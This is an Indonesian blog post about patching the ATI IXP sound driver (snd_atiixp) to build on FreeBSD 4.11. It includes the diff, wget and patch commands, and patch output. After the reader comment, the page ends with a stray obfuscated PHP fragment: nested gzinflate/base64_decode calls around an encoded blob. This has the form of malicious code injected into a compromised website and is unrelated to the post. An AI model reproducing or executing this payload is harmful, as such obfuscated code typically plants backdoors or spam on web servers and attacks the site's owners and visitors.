Delicious

Archives

Categories

atiixp on FreeBSD 4.11

  ozzie / 24/07/2008


Berhubung sekarang (juli 2008) lagi pake laptop Acer TravelMate 2000:D.. dan beresin skripsi dan persiapan sidang tentang BGP:">:">.. dan kebetulan Simulator yang support BGP nya pake IMUNES dan jalan di FreeBSD 4.11.. jadi install FreeBSD 4.11-RELEASE di laptop deh.. #:-s#:-s

untuk hardwarenya sih support semua di FreeBSD 4.11.. tapi cuman soundcard doang yang gak ke detect :-s:-s .. jadi gagu dah:((:((.. ternyata ni laptop pake chipset ATI#-o.. selidik punya selidik.. ternyata atiixp baru muncul di release 6.1(snd_atiixp) =((=((

daripada gagu nih laptop dan demi dengerin progressive rock:-<.. akhirnya pake cara yang lumayan kejam dah \:d/\:d/. copy source dari http://people.freebsd.org/~ariff/ walaupun cuman ada buat FreeBSD 5 & 6.. ;));)).. setelah pelajari source dan depedensinya dan edit sana-sini disesuaikan dengan PCM untuk release 4.x … akhirnya bisa nyanyi juga nih laptop <:-p<:-p<:-p ..

* Rock ‘n Roll All Nite \:d/\:d/\:d/\:d/

Struktur file nya bisa di liat di http://www.delphij.net/fbdoxy/dev_sound/html/d7/dae/atiixp_8c.html

Patch buat atiixp.c nya bisa di sedot di: http://net.ozzie.web.id/pub-ozz/diff/atiixp.c.diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
--- atiixp.cFri Jul 25 10:32:00 2008
+++ atiixp.c.ozzFri Jul 25 10:32:46 2008
@@ -56,8 +56,8 @@
 #include <dev /sound/pcm/sound.h>
 #include </dev><dev /sound/pcm/ac97.h>
 
-#include </dev><dev /pci/pcireg.h>
-#include </dev><dev /pci/pcivar.h>
+#include <pci /pcireg.h>
+#include </pci><pci /pcivar.h>
 #include <sys /sysctl.h>
 #include </sys><sys /endian.h>
 
@@ -65,6 +65,8 @@
 
+#define ATI_IXP_DEFAULT_BUFSZ 16384
+
 struct atiixp_dma_op {
 volatile uint32_t addr;
 volatile uint16_t status;
@@ -521,7 +523,7 @@
 uint32_t addr, blksz;
 int i;
 
-addr = sndbuf_getbufaddr(ch->buffer);
+addr = vtophys(sndbuf_getbuf(ch->buffer)); 
 blksz = sndbuf_getblksz(ch->buffer);
 
 for (i = 0; i < ch->dma_segs; i++) {
@@ -586,7 +588,7 @@
 uint32_t addr, align, retry, sz;
 volatile uint32_t ptr;
 
-addr = sndbuf_getbufaddr(ch->buffer);
+addr = vtophys(sndbuf_getbuf(ch->buffer));
 align = (ch->fmt & AFMT_32BIT) ? 7 : 3;
 retry = 100;
 sz = sndbuf_getblksz(ch->buffer) * ch->dma_segs;
@@ -744,7 +746,10 @@
 /* wait for the interrupts to happen */
 timeout = 100;
 while (--timeout) {
-msleep(sc, sc->lock, PWAIT, "ixpslp", 1);
+/*msleep(sc, sc->lock, PWAIT, "ixpslp", 1); */
+atiixp_unlock(sc);
+DELAY(1000);
+atiixp_lock(sc);
 if (sc->codec_not_ready_bits)
 break;
 }
@@ -816,8 +821,7 @@
 pcm_addchan(sc->dev, PCMDIR_REC, &atiixp_chan_class, sc);
 
 snprintf(status, SND_STATUSLEN, "at memory 0x%lx irq %ld %s", 
-rman_get_start(sc->reg), rman_get_start(sc->irq),
-PCM_KLDSTRING(snd_atiixp));
+rman_get_start(sc->reg), rman_get_start(sc->irq));
 
 pcm_setstatus(sc->dev, status);
 
@@ -882,7 +886,8 @@
 if (vendor == atiixp_hw[i].vendor &&
 devid == atiixp_hw[i].devid) {
 device_set_desc(dev, atiixp_hw[i].desc);
-return BUS_PROBE_DEFAULT;
+/*return BUS_PROBE_DEFAULT; */
+return 0;
 }
 }
 
@@ -968,7 +973,6 @@
 /*highaddr*/BUS_SPACE_MAXADDR,
 /*filter*/NULL, /*filterarg*/NULL,
 /*maxsize*/sc->bufsz, /*nsegments*/1, /*maxsegz*/0x3ffff,
-/*flags*/0, /*lockfunc*/NULL,
 /*lockarg*/NULL, &sc->parent_dmat) != 0) {
 device_printf(dev, "unable to create dma tag\n");
 goto bad;
@@ -981,7 +985,6 @@
 /*maxsize*/sc->dma_segs * ATI_IXP_NCHANS *
 sizeof(struct atiixp_dma_op),
 /*nsegments*/1, /*maxsegz*/0x3ffff,
-/*flags*/0, /*lockfunc*/NULL,
 /*lockarg*/NULL, &sc->sgd_dmat) != 0) {
 device_printf(dev, "unable to create dma tag\n");
 goto bad;
@@ -1127,5 +1130,5 @@
 };
 
 DRIVER_MODULE(snd_atiixp, pci, atiixp_driver, pcm_devclass, 0, 0);
-MODULE_DEPEND(snd_atiixp, sound, SOUND_MINVER, SOUND_PREFVER, SOUND_MAXVER);
+MODULE_DEPEND(snd_atiixp, snd_pcm, PCM_MINVER, PCM_PREFVER, PCM_MAXVER);
 MODULE_VERSION(snd_atiixp, 1);
 
</sys></pci></dev>
# cd /usr/src/sys/dev/sound/pci/
# wget http://people.freebsd.org/~ariff/test/atiixp.h
# wget http://people.freebsd.org/~ariff/test/atiixp.c
# wget http://net.ozzie.web.id/pub-ozz/diff/atiixp.c.diff
# patch < atiixp.c.diff
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|--- atiixp.c   Fri Jul 25 10:32:00 2008
|+++ atiixp.c.ozz       Fri Jul 25 10:32:46 2008
--------------------------
Patching file atiixp.c using Plan A...
Hunk #1 succeeded at 1.
Hunk #2 succeeded at 56.
Hunk #3 succeeded at 65.
Hunk #4 succeeded at 523.
Hunk #5 succeeded at 588.
Hunk #6 succeeded at 746.
Hunk #7 succeeded at 821.
Hunk #8 succeeded at 886.
Hunk #9 succeeded at 973.
Hunk #10 succeeded at 985.
Hunk #11 succeeded at 1130.
done

« »


One Response to “atiixp on FreeBSD 4.11”

  1. riski Says:

    MANTAB….


".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>